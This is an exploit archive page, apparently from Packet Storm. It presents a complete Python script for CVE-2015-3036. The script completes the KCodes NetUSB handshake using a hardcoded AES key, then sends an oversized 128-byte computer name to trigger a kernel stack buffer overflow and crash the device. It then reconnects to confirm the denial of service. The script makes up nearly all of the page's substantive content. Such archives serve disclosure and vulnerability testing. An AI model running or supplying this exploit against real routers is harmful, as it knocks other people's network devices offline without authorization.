what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

NetUSB Stack Buffer Overflow

NetUSB Stack Buffer Overflow
Posted Oct 10, 2015
Authored by Stefan Viehboeck | Site sec-consult.com

NetUSB stack buffer overflow denial of service exploit.

tags | exploit, denial of service, overflow
advisories | CVE-2015-3036
SHA-256 | 5442a486e9656c62a01cfaf5fcfda32c973d961030d9fd315377e310ff046fcc

NetUSB Stack Buffer Overflow

Change Mirror Download
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import socket
import sys
import random
import string
import time
import struct
from Crypto.Cipher import AES #pip install pycrypto

DOS_BYTES = 128 #BoF
TIMEOUT = 5
RECV_SIZE = 16
PORT_DEFAULT = 20005

AESKey = "\x5c\x13\x0b\x59\xd2\x62\x42\x64\x9e\xd4\x88\x38\x2d\x5e\xae\xcc"

print "#"
print "# Exploit KCodes NetUSB | Kernel Stack Buffer Overflow | Denial of Service (DoS)"
print "# CVE-2015-3036"
print "# Found by: Stefan Viehböck (Office Vienna) | SEC Consult Vulnerability Lab | https://www.sec-consult.com"
print "# Exploit author: Adrián Ruiz Bermudo | @funsecurity | http://www.funsecurity.net"
print "# Advisory: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt"
print "#"
print ""

if len(sys.argv) >= 2:
try:
target = sys.argv[1]
try:
port = int(sys.argv[2])
except Exception as detail:
port = PORT_DEFAULT

#Inicialización de la conexión.
init = "\x56\x05"
#Datos aleatorios para el handshake
randomData = "".join(random.choice(string.lowercase) for i in range(RECV_SIZE))
#Nombre del equipo con 128 carácteres para provocar DoS.
computerName = "".join(random.choice(string.lowercase) for i in range(DOS_BYTES))
#Longitud del nombre del equipo - "\x80\x00\x00\x00"
lengthComputerName = struct.pack("i", DOS_BYTES);
#Sync - "\x07\x00\x00\x00"
syncOK = struct.pack("i", 7);
#Finalización de la conexión.
end = "\x01"

encryption_suite = AES.new(AESKey, AES.MODE_ECB, "")
randomDataCrypt1 = encryption_suite.encrypt(randomData)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(TIMEOUT)

print "Conectando:", target,":",port
sock.connect((target, port))
print "Conectado"
print "----------------"

print "Inicializando:", init.encode("hex")
sock.send(init)
print "Random data para cifrar por el servidor:", randomData.encode("hex")
sock.send(randomData)
print "----------------"

result = sock.recv(RECV_SIZE)
print "Random data cifrados por el servidor:", result.encode("hex")
print "Random data cifrados por el cliente:", randomDataCrypt1.encode("hex")
if (randomDataCrypt1 == result):
print "Handshake OK"
randomData = sock.recv(RECV_SIZE)
print "Random data a cifrar por el cliente:", randomData.encode("hex")
randomDataCrypt2 = encryption_suite.encrypt(randomData)
print "Random data cifrados por el cliente:", randomDataCrypt2.encode("hex")
print "----------------"
sock.send(randomDataCrypt2)
print "Tamanio del nombre del host a parear:", lengthComputerName.encode("hex")
sock.send(lengthComputerName)
print "Nombre del host a parear:", computerName.encode("hex")
sock.send(computerName)
print "----------------"

print "Sync: ", syncOK.encode("hex")
sock.send(syncOK)
if (sock.recv(RECV_SIZE) == syncOK):
print "Sync ok"
sock.send(end)
try:
#Esperamos unos segundos antes de conectar
time.sleep(TIMEOUT)
#Comprobamos si el dispositivo sigue vivo...
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(TIMEOUT)
sock.connect((target, port))
print "No vulnerable"
except Exception as detail:
print "Vulnerable, exploit OK"
else:
print 'Sync error.'
except Exception as detail:
print "Error de comunicación:", detail
else:
print "Usage:", sys.argv[0], "target [port]"
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close